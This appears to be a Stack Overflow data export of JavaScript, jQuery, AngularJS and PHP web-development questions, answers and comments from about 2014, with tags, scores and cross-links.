has body: Please help as this is doing my head in. My scripting skills are basic but I learn quickly. I have HTML code that runs a java script on an external website and displays a table. In my case it is a football leagues upcoming fixtures. I want to display this table using the code on our clubs website but I only want it to show certain lines of the table, ie only the matches that include the 2 teams from our club which is Watford Ladies FC. Is there a way to either modify this script to hide certain lines or another script to extract certain lines and populate into another table? The code I have to work with is: Data loading....click here for Under 15's Division Two FULL-TIME Home Unfortunately it requires you to allow unsafe script so it wont generate properly here. If you copy the code into a HTML file and load into IE, allow scripts, youll see the table. Many Thanks Mark
score: 0
answer count: 1

http://stackoverflow.com/q/25862366
tagged with: yii
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25869381
type: Question
has title: fullcalendar events are always coming in All day event slot and how to edit
score: 0
has body: This is how data is passed. $items[] = array( 'title' =&gt; 'Meeting', 'start' =&gt; strtotime('2014-09-09'), 'color' =&gt; '#CC0000', 'allDay' =&gt; true, 'url' =&gt; 'http://anyurl.com' ); $items[] = array( 'title' =&gt; 'Meeting reminder', 'start' =&gt; '2014-09-15 05:20:17', 'end' =&gt; '2014-09-15 05:30:17', 'color' =&gt; 'blue', ); echo CJSON::encode($items); Yii::app()-&gt;end(); And another issue i have is when enable true as below, it says 'editable'=&gt;'true', 'selectable' =&gt; true, Property "EFullCalendar.editable" is not defined. Property "EFullCalendar.selectable" is not defined. Here is how it should work exactly, http://fullcalendar.io/js/fullcalendar-2.1.1/demos/external-dragging.html
answer count: 1
tagged with: fullcalendar
has answer: http://stackoverflow.com/a/25869381
type: AnsweredQuestion

http://stackoverflow.com/q/25765401
accepted answer: http://stackoverflow.com/a/25765503
type: AnsweredQuestion
tagged with: jquery
has comment: http://stackoverflow.com/comment/40293154
type: Question
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25765552
has comment: http://stackoverflow.com/comment/40293161
has comment: http://stackoverflow.com/comment/40291549
has answer: http://stackoverflow.com/a/25765552
has answer: http://stackoverflow.com/a/25765767
score: 0
has answer: http://stackoverflow.com/a/25765503
has comment: http://stackoverflow.com/comment/40292768
has body: I am creating an practice exam for some students in my school. I have a lot of multiple choice questions and i'm trying to get it to work bud got stuck here. I am new to javascript and have no clue on how to get this working. So every question has 4 choices that look like this: &lt;tr&gt; &lt;td&gt; &lt;figures1&gt;&lt;/figures1&gt; &lt;/td&gt; &lt;td class="questiona"&gt; &lt;br&gt; &lt;input type="radio" name="q1" value="a"/&gt;a&lt;br&gt; &lt;input type="radio" name="q1" value="b"/&gt;b&lt;br&gt; &lt;input type="radio" name="q1" value="c"/&gt;c&lt;br&gt; &lt;input type="radio" name="q1" value="d"/&gt;d&lt;br&gt; &lt;/td&gt; &lt;/tr&gt; The question is just an image and they have to select either a, b, c or d. I've managed to get it working this far, bud what i want to add is an dialog whenever they click on a, b, c or d to tell them if the answer is correct or not and if not add a feedback to tell them why the answer is wrong. The reason why i am not using alert to give them a feedback is because i can't add images to an alert box. Thanks in advance
linked to: http://stackoverflow.com/q/9091001
has comment: http://stackoverflow.com/comment/40292240
tagged with: javascript
answer count: 5
has answer: http://stackoverflow.com/a/25765606
has title: show an dialog onclick with radiobuttons
has answer: http://stackoverflow.com/a/25766060

http://stackoverflow.com/comment/40230584
score: 1
has text: If you need exact timing, then this isn't the way you're going to be able to do it. Windows, OSX and Linux are not real-time operating systems.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25732016

http://stackoverflow.com/comment/121956378
has text: The popstate event is only triggered by performing a browser action, such as clicking on the back button (or calling history.back() in JavaScript), when navigating between two history entries for the same document. ( https://developer.mozilla.org/en-US/docs/Web/API/WindowEventHandlers/onpopstate )
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/37115083

http://stackoverflow.com/comment/40199846
comment on: http://stackoverflow.com/a/25715435
has text: To add to this useful answer, could you include: 1) required parts of the manifest for the content script, 2) links to documentation when appropriate? Thank you.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25736788
answers question: http://stackoverflow.com/q/25736679
type: Answer
upvote count: 1
score: 1
has body: You really don't need a /add route if you are using a resource controller as it has a create method on it already. OrdersController extends BaseController { public function index() {} // show ALL orders public function create() {} // show the form to create an order aka "add" public function store() {} // get input from post. public function update($order_id) {} // update an order resource public function destroy($order_id) {} // destroy an order resource } In your ajax change the url to url: {{URL::route('orders.store')}}, and that should fix it.
downvote count: 0

http://stackoverflow.com/comment/40351797
has text: Yes, it tries to evaluate `undefined[1]`
comment on: http://stackoverflow.com/a/25797202
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40426863
comment on: http://stackoverflow.com/a/25830368
score: 0
type: AnswerComment
has text: Have you checked the console to see if there were any JavaScript errors?
type: Comment

http://stackoverflow.com/comment/119354586
type: Comment
comment on: http://stackoverflow.com/a/65902479
score: 1
has text: This helped me. Thanks!
type: AnswerComment

http://stackoverflow.com/q/25762126
tagged with: jquery
has title: Twitter boostrap navigation collapsing not working in Wordpress?
tagged with: twitter-bootstrap
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25763645
tagged with: wordpress
has body: I'm really struggling getting boostrap navigation to collapse when in Wordpress. I've already built a static site which sits on a server and i've had no problems there. As soon as i've put it into Wordpress it seems you can expand the menu but not collapse it and all javascript looks like it's loaded properly. Would be amazing if someone could help me out! Link to the site: http://www.occamsystems.eu/corporate/ Thanks, Shaun
tagged with: javascript
type: Question
score: 0
answer count: 1

http://stackoverflow.com/comment/40332532
score: 0
type: QuestionComment
type: Comment
has text: wrap your code in function and use callbacks....
comment on: http://stackoverflow.com/q/25787530

http://stackoverflow.com/comment/40390547
type: QuestionComment
comment on: http://stackoverflow.com/q/25819000
has text: `.paging-navigation` , `.paging-navigation a` elements (html) not appear included at OP ?
score: 0
type: Comment

http://stackoverflow.com/comment/40208380
type: QuestionComment
has text: @Substantial: ack, didn't see.
comment on: http://stackoverflow.com/q/25720164
score: 0
type: Comment

http://stackoverflow.com/comment/40429099
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25839362
score: 1
has text: might have not been brushed off so much if you had mentioned that you had been searching a lot....over all question just sounds like a `why is the sky blue` question and SO gets tons of garbage questions every day that appear to lack any research efforts

http://stackoverflow.com/q/25782147
type: Question
linked to: http://stackoverflow.com/q/25904440
tagged with: javascript
has title: Generate table on PDF with jsPDF
tagged with: jspdf
score: 0
has answer: http://stackoverflow.com/a/25907790
accepted answer: http://stackoverflow.com/a/25907790
tagged with: http://stackoverflow.com/tag/pdf
answer count: 1
has body: I would create a PDF-Document with a table and it works, but the table is to long for one page, how can I 'cut' the table in two? Means the first 60 rows of table on page one and the next 100 on page two. The code (reduced): function createDoc() { [...] pdf.addHTML(document.getElementById('svg_graph'), 20, 110, function () { pdf.addPage(); pdf.addHTML(document.getElementById('table'), 40, 40, function () { pdf.save('AjaxReport-' + curNum + '.pdf'); }); }); }; curNum is a string.
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion

http://stackoverflow.com/comment/40441900
comment on: http://stackoverflow.com/q/25847344
score: 0
type: Comment
type: QuestionComment
has text: I would first suggest cleaning up your code a little: its somewhat redundant and inefficient to make a second async call for each result returned by the first async call. Why not have one call which returns all the required data? Also, the $.each() utility function requires a callback with parameters. You're trying to access 'this', which probably has a meaning you are not expecting...

http://stackoverflow.com/comment/71958025
type: AnswerComment
has text: I've been using Jimp for a few months now. I use it as a fallback from sharp (because sharp is heaps faster, but often doesn't install). That said, kudos @OliverMoran, great work! It's everything it says on the box: dependency free and works well.
type: Comment
comment on: http://stackoverflow.com/a/25828595
score: 1

http://stackoverflow.com/comment/40463276
type: Comment
score: 1
has text: You are not specifying the index in the array presidents[i].name presidents[i].tookOffice etc.
comment on: http://stackoverflow.com/q/25859014
type: QuestionComment

http://stackoverflow.com/comment/40478790
comment on: http://stackoverflow.com/a/25867323
type: Comment
has text: This is helpful, but I do not need the totals. I still need an array of values (i.e "oil": [15, 16, 22, 23])
type: AnswerComment
score: 0

http://stackoverflow.com/a/25865954
type: Answer
has body: Straight from datatable forums. var oTable; $(document).ready(function() { $('YourButtonIdorSelector').click( function () { var newDisplayLength = $("TextFieldIDOrSelectorHere").val(); var oSettings = oTable.fnSettings(); oSettings._iDisplayLength = newDisplayLength; oTable.fnDraw(); }); oTable = $('#search-table').dataTable({ "dom": "&lt;'box-content'&lt;'col-md-4'l&gt;&lt;'col-md-8 text-right'f&gt;&lt;'clearfix'&gt;&gt;rt&lt;'box-content'&lt;'col-md-5'i&gt;&lt;'col-md-7 text-right'p&gt;&lt;'clearfix'&gt;&gt;", "aoColumnDefs": [ { 'bSortable': false, 'aTargets': [ 8, 9, 10 ] } ], "aLengthMenu": [[50, 100, 500, -1], [50, 100, 500, "All"]], "iDisplayLength": 50, "pagingType": "full_numbers", "oLanguage": { "sSearch": 'Filter within results: ', "sLengthMenu": '_MENU_' }, }); }); or var searchTable = $('#search-table').dataTable({ "dom": "&lt;'box-content'&lt;'col-md-4'l&gt;&lt;'col-md-8 text-right'f&gt;&lt;'clearfix'&gt;&gt;rt&lt;'box-content'&lt;'col-md-5'i&gt;&lt;'col-md-7 text-right'p&gt;&lt;'clearfix'&gt;&gt;", "aoColumnDefs": [ { 'bSortable': false, 'aTargets': [ 8, 9, 10 ] } ], "aLengthMenu": [[50, 100, 500, -1], [50, 100, 500, "All"]], "iDisplayLength": 50, "pagingType": "full_numbers", "oLanguage": { "sSearch": 'Filter within results: ', "sLengthMenu": '_MENU_' }, }); searchTable.fnSettings()._iDisplayLength = $("TextFieldIDOrSelectorHere").val(); searchTable.fnDraw(); //redraw the table
answers question: http://stackoverflow.com/q/25865546
score: 0
accepted answer of: http://stackoverflow.com/q/25865546
type: AcceptedAnswer

http://stackoverflow.com/q/25750934
type: Question
answer count: 2
tagged with: php
has body: I have an exiting PHP/javascript application that generates a table with some rows and corresponding child rows(there can be many of them, all are retrived from DB at once), which are hidden by default. Child rows are shown after user clicks button placed in table row. It looks like this(one parent, two children): https://i.sstatic.net/Qwu5E.png It is generated like this from php: for($i = 0; $i < count($shipArr); $i++) { echo ' '.$shipArr[$i]["orderNo"].' ;' for($j = 0; $j < count($shipDetailsArr[$i]); $j++) { echo ' Order Number: '.$shipDetailsArr[$i][$j]["lineNo"].' '; } echo ' ;' } Can I use somehow objects $shipArr and $shipDetailsArr populated from db to create the same effect using datatables plugin? How can I achieve this? Thanks for any help.
accepted answer: http://stackoverflow.com/a/25752942
upvote count: 1
has title: multiple child rows in datatable
downvote count: 0
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/36098547
type: AnsweredQuestion
tagged with: datatables
has answer: http://stackoverflow.com/a/25752942
score: 1
possible better answer: http://stackoverflow.com/a/36098547
favorite count: 0

http://stackoverflow.com/comment/78900452
type: AnswerComment
type: Comment
has text: the refresh button referred to here is the web page refresh button to the left of the URL
score: 3
comment on: http://stackoverflow.com/a/25723887

http://stackoverflow.com/comment/40379029
type: Comment
comment on: http://stackoverflow.com/a/25758514
has text: i like this answer, because it gives you the correct solution at the top, then explains why the broken solution doesn't work...
score: 0
type: AnswerComment

http://stackoverflow.com/a/25799487
upvote count: 1
answers question: http://stackoverflow.com/q/25799375
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25799375
type: Answer
score: 1
has body: Yes it's possible. I assume you want to do a GET request every 5 seconds so not really keeping your connection open constantly. If you place the request method inside your scope you could do something like this: $scope.ids = ['id1','id2','id'3]; //by initial request. postFunction() { //Request here var newData = request.data; $scope.ids.push(newData); } Since Angular modals use 2way databinding your html gets updated instantly.

http://stackoverflow.com/q/25849455
has comment: http://stackoverflow.com/comment/40445254
has answer: http://stackoverflow.com/a/25849871
has answer: http://stackoverflow.com/a/25850070
accepted answer: http://stackoverflow.com/a/25851638
favorite count: 0
tagged with: requirejs
has body: … which would enable this pattern: var $ = require('jQuery'); I'm looking at the Require.js docs and all I can see is the callback-version, e.g. require(['jQuery'], function ($) { … });
type: AnsweredQuestion
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25851638
downvote count: 0
tagged with: javascript
has title: Does Require.js have a sync version for loading a single dependency?
tagged with: browser
answer count: 3
possible better answer: http://stackoverflow.com/a/25850070

http://stackoverflow.com/a/25717564
has comment: http://stackoverflow.com/comment/40239631
has comment: http://stackoverflow.com/comment/40204056
has comment: http://stackoverflow.com/comment/40203722
type: Answer
has body: If you're using a SELECT element (which you seem to be), why not use the "change" event, it'll trigger whenever a user selects an option in your menu and your event can send you event.target.value (which will be the select's value at that time) regardless of what other options are available. If you're NOT using SELECT element, however, that's a different story. Could you specify if you are? EDIT document.getElementById('yourselectelementsid').addEventListener('change', callback, true); function callback(event) { e.preventDefault(); e.stopPropagation(); var value = event.target.value; // do stuff } All the information you'll need is in the MDN events page Essentially, when you "addEventListener" your callback functions have an event object as a parameter, which has a "target" property, which is the element affected by the event, in this case your SELECT element. So event.target.value, could also be interpreted as: yourSELECT.value
answers question: http://stackoverflow.com/q/25717450
has comment: http://stackoverflow.com/comment/40203601
has comment: http://stackoverflow.com/comment/40203977
accepted answer of: http://stackoverflow.com/q/25717450
upvote count: 1
has comment: http://stackoverflow.com/comment/40204002
has comment: http://stackoverflow.com/comment/40204088
has comment: http://stackoverflow.com/comment/40240340
type: AcceptedAnswer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40254062

http://stackoverflow.com/comment/40338016
has text: My example handles that
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25790936
type: Comment

http://stackoverflow.com/comment/40362278
type: Comment
type: QuestionComment
has text: Dont know if this works... mike.upxdev.com/public_html/HtmlTemplate/index.html
comment on: http://stackoverflow.com/q/25803690
score: 0

http://stackoverflow.com/a/26170168
type: AcceptedAnswer
has body: In case anyone wants to do this in the future, the only way I found to actually do this was to manually control all touch events and then re-implement the normally-native vertical scrolling. It might not be the prettiest, but here's a fiddle to what I ended up doing (edited to use mouse events instead of touch events): http://jsfiddle.net/xtwzcjhL/ $(function () { var width = parseInt($(document.body).width()); var panThreshold = 0.15; var currentViewPage = 0; var start; // Screen position of touchstart event var isHorizontalScroll = false; // Locks the scrolling as horizontal var target; // Target of the first touch event var isFirst; // Is the first touchmove event var beginScrollTop; // Beginning scrollTop of ul var atanFactor = 0.6; // atan(0.6) = ~31 degrees (or less) from horizontal to be considered a horizontal scroll var isMove = false; $('body').on('mousedown', '.listContent', function (e) { isMove = true; isFirst = true; isHorizontalScroll = false; target = $(this); currentViewPage = Math.round(target.scrollLeft() / width); beginScrollTop = target.closest('ul').scrollTop(); start = { x: e.originalEvent.screenX, y: e.originalEvent.screenY } }).on('mousemove', '.listContent', function (e) { if (!isMove) { return false; } e.preventDefault(); var delta = { x: start.x - e.originalEvent.screenX, y: start.y - e.originalEvent.screenY } // If already horizontally scrolling or the first touchmove is within the atanFactor, horizontally scroll, otherwise it's a vertical scroll of the ul if (isHorizontalScroll || (isFirst &amp;&amp; Math.abs(delta.x * atanFactor) &gt; Math.abs(delta.y))) { isHorizontalScroll = true; target.scrollLeft(currentViewPage * width + delta.x); } else { target.closest('ul').scrollTop(beginScrollTop + delta.y); } isFirst = false; }).on('mouseup mouseout', '.listContent', function (e) { isMove = false; isFirst = false; if (isHorizontalScroll) { var delta = currentViewPage * width - target.scrollLeft(); if (Math.abs(delta) &gt; width * panThreshol…
type: Answer
accepted answer of: http://stackoverflow.com/q/25839565
answers question: http://stackoverflow.com/q/25839565
score: 0

http://stackoverflow.com/q/25848246
type: Question
tagged with: php
answer count: 1
has answer: http://stackoverflow.com/a/25848361
score: 0
has title: upon data retrieval, form populates and then clears
tagged with: javascript
tagged with: jquery
has body: I have a weird problem. I have a form that populates with a button click event. This all works fine, except that once the form populates, it clears itself. Even Firebug gets cleared. I have stripped everything down to its most basic level, and cannot figure out what the issue is. HTML: <?php require_once('../hyperlink.php'); ?> Shipment Assignment <?php display_user_hyperlinks(); ?> <?php include ('../version.php'); ?> | Tip: Shipping Info Shipping Assignments Enter the PO that you would like to review: CL REC Qty Rem: book.js $(document).ready(function() { $("#getPo").click(function() { $.ajax ({ type: "POST", url: "poInfo.php", async:false, dataType: "json", data: ({po: $('#po').val()}), success: function(data){ console.log(data); $("#isbn13").val(data.isbn); $("#isbn10").val(data.isbn10); $("#title").val(data.title); } }); //END OF AJAX }); // END OF GETPO FUNCTION }); poInfo.php: <?php ini_set('display_errors',"1"); require_once ('../db.php'); $conn = db_connect(); $i=0; $po = 'JJD090969'; $result = $conn->query("select * from ship_assign where po = '$po'"); while ($row = $result->fetch_assoc()) { $isbn10 = $row['isbn10']; $isbn = $row['isbn13']; $azLow = $row['azLow']; $buyback101 = $row['Buyback101']; $textRecycle = $row['textBookRecycle']; $textRush = $row['textBookRush']; $bookStores = $row['bookStores']; $textBooks = $row['textBooks']; $bookJingle = $row['bookJingle']; $cash4Books = $row['cash4Books']; $bookbyte = $row['bookbyte']; $sellBack = $row['sellBack']; $cheggBs = $row['chegg']; $valore = $row['valore']; $powell = $row['powell']; $amzBuyBack = $row['amazonBuyBack']; $collegeBooksDir = $row['collegeBooksDirect']; $result2 = $conn->query("select title from book where isbn13 = '$isbn'"); $row1 = $result2->fetch_assoc(); $title = $row1['title']; } //END OF WHILE STATEMENT $guides= array('isbn10'=>$isbn10,'isbn'=>$isbn,'title'=>$title); $conn->close(); echo json_encode($guides); ?> Everything works as it should, except that the form clears once populated…
accepted answer: http://stackoverflow.com/a/25848361
tagged with: ajax
type: AnsweredQuestion

http://stackoverflow.com/q/25790986
has answer: http://stackoverflow.com/a/25791327
tagged with: javascript-objects
has comment: http://stackoverflow.com/comment/40338201
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25791070
has comment: http://stackoverflow.com/comment/40339288
type: Question
tagged with: object
has body: I have the following data structure: var settings = { notifications: [ { 'logout' : { icon: 'fa fa-sign-out', text: [ {heading: 'Logout'}, {body: 'You have unsaved data. Are you sure you want to log out?'}, ] } }, { 'delete' : { icon: 'fa fa-times', text: [ {heading: 'Delete'}, {body: 'This operation can not be undone. Are you sure you want to delete?'}, ] } }, ], }; How do I retrieve the value of logout.icon, when I don't know the logout object's position in the notification array? Solutions for plain nested objects listed here give me undefined. --- SOLUTION Based on Yassine Moustarham's answer here is my reusable function: function getProp(arr,key,prop) { for(var i=0;i&lt;arr.length;i++) { if(arr[i][key]) { return arr[i][key][prop]; } } return false; }; var icon = getProp(settings.notifications, 'logout', 'icon'); Thanks to Felix Kling for the simplification suggestion.
linked to: http://stackoverflow.com/q/6491463
tagged with: arrays
tagged with: javascript
has title: Accessing JavaScript objects with string key within an array
score: 0
possible better answer: http://stackoverflow.com/a/25791070
answer count: 2
accepted answer: http://stackoverflow.com/a/25791327
duplicate of: http://stackoverflow.com/q/7364150
linked to: http://stackoverflow.com/q/7364150

http://stackoverflow.com/q/25736009
tagged with: google-sites
has comment: http://stackoverflow.com/comment/40238533
has comment: http://stackoverflow.com/comment/40238886
upvote count: 7
tagged with: google-chrome
answer count: 1
has answer: http://stackoverflow.com/a/25750894
tagged with: onclick
has comment: http://stackoverflow.com/comment/40238934
has comment: http://stackoverflow.com/comment/40238784
has comment: http://stackoverflow.com/comment/40238680
has comment: http://stackoverflow.com/comment/40238935
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40238643
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40238850
score: 7
favorite count: 0
accepted answer: http://stackoverflow.com/a/25750894
has body: I wrote a page that used buttons with onclick to call a function as part of a set of practice problems and answers for my students. It has worked since July with no issues through Friday, September 5 at least. Today the buttons fail to function at all in Chrome, and I can't figure out why for the life of me. They do continue to function properly in IE. I've posted the simplest code I could write that won't work below. It's awfully simple, and honestly I think it's fine. It seems to work if I paste the entire thing into JSFiddle's HTML box, but if I try to separate the script it doesn't do anything. I don't know whether that's because it's broken or because I am separating it incorrectly though. I'm having trouble trying to debug it, largely because Google Sites completely rewrites your work into its own format which is more or less unreadable without being made of silicon. When I load this and try to click, I do get an exception: Uncaught Error: shouldn't happen: ES5/3 object passed to makeDOMAccessible But I have had absolutely no luck with figuring out what is happening there, or whether that is even really the problem or not. I've read a lot about Google Sites being picky with Javascript, and I don't know whether the issue is with Sites or Chrome or the two together or what, but it's something that I'd like to get sorted out, as the bulk of my students and I primarily use Chrome. All of the code below is going into an inserted HTML box as written, just FYI. Apologies if this turns out to be a duplicate; I searched for quite a while and couldn't find a solution. Push Me Any suggestions for fixing what I've got (if it's even broken) or redoing it in a straightforward way that would work with Sites and Chrome would be welcome. Thanks in advance. Here is one full page that was working previously in Chrome and is no longer. It displayed the rows of a table as you pressed the various buttons. EDIT: This appears to work in older versions of Chrome. I guess I need to hit…
has comment: http://stackoverflow.com/comment/40238718
type: Question
has title: OnClick suddenly not working on Google Sites in Chrome

http://stackoverflow.com/comment/40398547
score: 0
has text: I believe you are correct. However, this is very easy to test and be sure once and for all.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25823784

http://stackoverflow.com/comment/40278788
comment on: http://stackoverflow.com/q/25758087
type: Comment
has text: yes, but don't use `alert()`, use `console.log(img_src)` and look at the dev tools console.
score: 0
type: QuestionComment

http://stackoverflow.com/a/25722850
has body: Use "edit" property for portfolioBox portfolioBox.edit = true and when save portfolioBox.edit = false http://plnkr.co/edit/pZSqcTJolkJk7buTGkvf?p=preview
answers question: http://stackoverflow.com/q/25722395
upvote count: 1
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/comment/40242430
type: Comment
has text: No changes. Option with value 2 is selected but slider shows option 1.
comment on: http://stackoverflow.com/a/25738051
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40305051
comment on: http://stackoverflow.com/q/25772500
score: 0
type: Comment
type: QuestionComment
has text: I would suggest using `mouseenter` and `mouseleave` instead of `hover`. It might simplify your logic.

http://stackoverflow.com/comment/40230580
type: QuestionComment
score: 0
has text: Bottom line - what's your question?
comment on: http://stackoverflow.com/q/25731948
type: Comment

http://stackoverflow.com/comment/40445459
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25848972
type: Comment
has text: i dont see why you want it written with javascript(when saying javascript i assume you write it in the controller and inject it). You can create a clickMe method on the directive Link function, and then just reference that in the template. Then it will use the directives scope.

http://stackoverflow.com/q/25845061
has answer: http://stackoverflow.com/a/29758749
score: 18
downvote count: 0
tagged with: javascript
upvote count: 18
has title: Allow certain style attributes with ngSanitize
answer count: 2
has answer: http://stackoverflow.com/a/26149070
has comment: http://stackoverflow.com/comment/40437532
favorite count: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40437647
has body: I am using ngSanitize in an AngularJS application to remove unwanted or dangerous parts. However, the content is generated using an HTML Richtext editor and contains some style information, which gets removed (e.g. the text color). I know that it is useful to remove inlined CSS styles, but I would prefer a whitelist with CSS attributes that do not get removed. Is there a way to achieve this without granting all CSS attributes?
tagged with: css
accepted answer: http://stackoverflow.com/a/26149070
type: AnsweredQuestion
type: Question
possible better answer: http://stackoverflow.com/a/29758749

xsockets.net
type: Tag
tags question: http://stackoverflow.com/q/25802301
tag name: xsockets.net

http://stackoverflow.com/q/25772391
score: 2
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
has title: GMail API access from chrome extension? 403 Forbidden
tagged with: google-chrome-extension
accepted answer: http://stackoverflow.com/a/25776528
tagged with: gmail-api
upvote count: 2
has body: I have an application that accesses Google APIs out of a Chrome extension via the workflow outlined here. Chrome Extensions OAuth Tutorial The basics of the workflow are to initialize the OAuth flow var oauth = ChromeExOAuth.initBackgroundPage({ 'request_url': 'https://www.google.com/accounts/OAuthGetRequestToken', 'authorize_url': 'https://www.google.com/accounts/OAuthAuthorizeToken', 'access_url': 'https://www.google.com/accounts/OAuthGetAccessToken', 'consumer_key': '{MY_CLIENT_ID}', 'consumer_secret': '{MY_CLIENT_SECRET}', 'scope': 'https://www.google.com/m8/feeds/ https://apps-apis.google.com/a/feeds/emailsettings/2.0/ https://mail.google.com/', 'app_name': 'Gmail Plugin', 'callback_page': 'src/google-oauth/chrome_ex_oauth.html' }); Upon installing the extension, the user is taken to dialog page to authenticate and agree to the scopes I ask for. From here I infer that my consumer key and secret are OK. I have allowed access to the GMail, Contacts, and Admin SDK in the Google Developers console. Prior to this I had requests working with the Contacts API and Admin SDK API. I'm now trying to add some features that utilize the Gmail REST API. The next step in setting up a request is to make a request from the background page. function getSentEmails() { var emailCollection; var url = "https://www.googleapis.com/gmail/v1/users/me/messages"; var request = { 'method': 'GET', 'parameters': { 'labelIds': 'SENT' } }; var callback = function(response, xhr) { emailCollection = JSON.parse(response); console.dir(emailCollection); } oauth.sendSignedRequest(url, callback, request); }; The way the signed requests work is to call a method to complete the next step of the OAuth dance, oauth.authorize(function() { getSentEmails(); }); This results in a 403 Forbidden every time. I seem to have no issue accessing the other APIs I mentioned though this OAuth flow. I've allowed the scope in my manifest.json manifest.json "permissions": [ "tabs", "storage", "https://mail.google.com/*", …
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25776528
tagged with: google-oauth
type: Question

http://stackoverflow.com/a/25808062
upvote count: 1
has body: The docs might be a bit unclear when stating that Array is returned, but the source clears this up: A new (sorted) array is returned. So you likely want to do lngArr = lngArr.sortBy(function(lng) { return -lng.data.impression; });
accepted answer of: http://stackoverflow.com/q/25807808
has comment: http://stackoverflow.com/comment/40369484
score: 1
has comment: http://stackoverflow.com/comment/40369432
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40369337
answers question: http://stackoverflow.com/q/25807808

http://stackoverflow.com/q/25717771
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40203885
has comment: http://stackoverflow.com/comment/40204294
type: Question
upvote count: 2
has title: How to make images resize with the page
answer count: 2
has answer: http://stackoverflow.com/a/25717864
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25718531
favorite count: 0
has body: I have a jQuery slider that displays images and I'm trying to get it to be responsive. Here is a codepen with the exact example: http://codepen.io/anon/pen/plvsq As you can see the images do not re-size if the browser is made smaller or bigger. I have tried using img { max-width: 100%; height: auto; } but this did nothing. I am trying to achieve an effect like the re-sizing banner on this site: http://codepen.io/anon/pen/plvsq
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40203795
score: 2
downvote count: 0

http://stackoverflow.com/comment/40363897
type: QuestionComment
has text: can you please show the resulting html also? Post i to http://pastebin.com/ and attach a link in the question
score: 0
comment on: http://stackoverflow.com/q/25803895
type: Comment

http://stackoverflow.com/q/25713345
type: Question
has answer: http://stackoverflow.com/a/25714267
has comment: http://stackoverflow.com/comment/40196178
has title: FusionCharts not rendering properly when tag included in HTML head
downvote count: 0
tagged with: javascript
score: 4
upvote count: 4
tagged with: fusioncharts
has comment: http://stackoverflow.com/comment/40196310
has body: I'm using AngularJS and FusionCharts together in my web application. The upcoming release of AngularJS v1.3.0 will require there to be a &lt;base&gt; tag in the HTML head, so as to resolve all relative links, regardless of where the app is hosted in the site's directory. When including the &lt;base&gt; tag with the latest version of FusionCharts (currently v3.4.0), the 3D charts do not render properly. For example, a 3D pie chart appears and has rotation and clickable slices, as well as tooltips and color on the inside edges of the slices. However, the entire outer color is black. Excluding the &lt;base&gt; tag causes the chart to look and behave normally. Does anyone have any idea how to resolve this? Unfortunately, I don't own the source code, otherwise I'd hack at it myself. Here's the link to the non-working jsFiddle: http://jsfiddle.net/aaronaudic/59Bmf/207 SOLUTION: I originally awarded the correct solution to @pankaj, because his solution of simply adding the following line at page load seemed to fix the problem: document.getElementsByTagName("base")[0].setAttribute("href", window.location.pathname+window.location.search); However, this only works if the charts are on the initially-loaded page (when user navigates directly to page with the charts); when navigating to the page by way of something like ui-router, I was still seeing black. The correct answer is from @Shamasis. Adding the following to the page load will fix the issue application-wide: eve.on('raphael.new', function () { this.raphael._url = this.raphael._g.win.location.href.replace(/#.*?$/, ''); }); His original caveat mentioned that the export functions may be hampered from the Cloud, and this may be (I don't export from the cloud). However, exporting locally, as can be observed in this jsFiddle, works perfectly well: http://jsfiddle.net/aaronaudic/Gs6sN/14 My base tag, in the head of the page, is simply: &lt;base href="/"&gt;
accepted answer: http://stackoverflow.com/a/25713970
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/51182322
favorite count: 0
tagged with: angularjs
answer count: 5
has answer: http://stackoverflow.com/a/59399286
has comment: http://stackoverflow.com/comment/40195921
possible better answer: http://stackoverflow.com/a/55408986
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/97397333
has answer: http://stackoverflow.com/a/55408986
has answer: http://stackoverflow.com/a/35716832
has answer: http://stackoverflow.com/a/25713970

http://stackoverflow.com/a/25737059
answers question: http://stackoverflow.com/q/25737000
score: 0
has body: You can remove the script like this: $('script[src$="sample.js"]').remove();
type: Answer

http://stackoverflow.com/comment/40248081
has text: Are you sure `$sce` is needed if you don't link sources outside the application? The other answer's [plunker](http://plnkr.co/edit/YzTopQejIJbjZBtk5EJz?p=preview) seems to work fine without.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25740553
type: Comment

http://stackoverflow.com/comment/40320253
type: QuestionComment
comment on: http://stackoverflow.com/q/25780874
has text: How ever user can modify it in any case: for example with developer tools, so just add `readonly` attribute?
score: 0
type: Comment

http://stackoverflow.com/a/25858120
has comment: http://stackoverflow.com/comment/40461953
